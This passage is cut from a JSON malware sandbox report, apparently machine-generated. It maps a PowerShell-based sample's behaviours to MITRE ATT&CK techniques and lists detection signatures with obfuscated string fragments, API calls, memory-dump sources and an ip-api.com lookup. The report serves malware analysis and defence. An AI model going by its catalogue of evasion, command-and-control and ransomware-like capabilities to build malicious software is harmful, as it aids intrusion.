environment"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","identifiers":[{"type":"informative","value":"Checks internet connectivity using tracert/ping"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Collection","technique":"Archive via Custom Method","attack_id":"T1560.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/003","identifiers":[{"type":"informative","value":"Drops file with high entropy, indicating encryption/obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"GETs files from a web server"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"tactic":"Collection","technique":"Data from Removable Media","attack_id":"T1025","attack_id_wiki":"https://attack.mitre.org/techniques/T1025","identifiers":[{"type":"informative","value":"Able to retrieve system driver type"}],"sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"!Xo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#\"\nset \"\" (Indicator: \"Aes\"; Source: \"sample.bin\"), Found reference to \"=Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#~lGH9~lGH9Oq?wBR0+*dFbMNaZCE7:YcuD\"\nset \"\" (Indicator: \"Aes\"; Source: \"sample.bin\"), Found reference to \"!DXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#~lGH9~lGH9Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#\"\nif 1==1 (set /a \"\" (Indicator: \"Aes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-138","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"!Xo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#\"\nset \"\" (Indicator: \"aes\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"base64\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"FromBase64String\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"aes\"; Source: \"sample.bin\"), Found string \"=Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#~lGH9~lGH9Oq?wBR0+*dFbMNaZCE7:YcuD\"\nset \"\" (Indicator: \"aes\"; Source: \"sample.bin\"), Found string \"!DXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#~lGH9~lGH9Oq?wBR0+*dFbMNaZCE7:YcuDXo.VTpg4UAes@vI8mx6kQh_nLfi-Wj1J3rz/52t#\"\nif 1==1 (set /a \"\" (Indicator: \"aes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-106","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00006840)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00006840)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00006840)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00006840)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '2105948372993', 'hResInfo': '2105948374240'}\" (UID: 00000000-00006840)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2105948372993', 'hResInfo': '2105948374272'}\" (UID: 00000000-00006840)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2105948372993', 'hResInfo': '2105948374288'}\" (UID: 00000000-00006840)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2105948372993', 'hResInfo': '2105948374256'}\" (UID: 00000000-00006840)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"powershell.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\frnxne3f.vzc (UID: 00000000-00003236)\n \"powershell.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\nlyjs020 (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00002684.00000001.136956.49D70000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00002940.00000000.137222.75F20000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$37","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$38","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"powershell.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00002148.00000001.136340.AE760000.00000004.mdmp\")\n Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00002684.00000000.136665.AE760000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to import cryptographic keys (seen in ransomware)","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00002684.00000000.136665.61DC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-603","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00002148.00000000.136313.38990000.00000004.mdmp\")\n Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00002684.00000000.136665.47860000.00000004.mdmp, 00000000-00002684.00000001.136956.6383C000.00000004.mdmp\")\n Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00002684.00000000.136665.61DC0000.00000004.mdmp\")\n Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00002684.00000000.136665.61DC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00002684.00000000.136665.61DC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002148.00000001.136340.AE760000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002148.00000001.136340.AE7E0000.00000004.mdmp\")\n Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002684.00000000.136665.AE760000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002148.00000000.136313.38990000.00000004.mdmp, 00000000-00002148.00000001.136340.38990000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002684.00000000.136665.47860000.00000004.mdmp, 00000000-00002684.00000001.136956.47860000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"Contains base64 string in header \"Keep\" in header \"GET /json/ HTTP/1.1User-Agent: Mozilla/5.0Host: ip-api.comConnection: Keep-Alive\"","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - PowerShell with Base64 encoding","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$39","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006840-00000C2C-1096119522\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006840-00000C2C-1096750406\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006840-00000C2C-1096119522\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006840-00000C2C-1096750406\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00006840-00000C2C-1095211183\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00006840-00000C2C-1095211640\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006840-00000C2C-1096886196\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006840-00000C2C-1096886223\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: 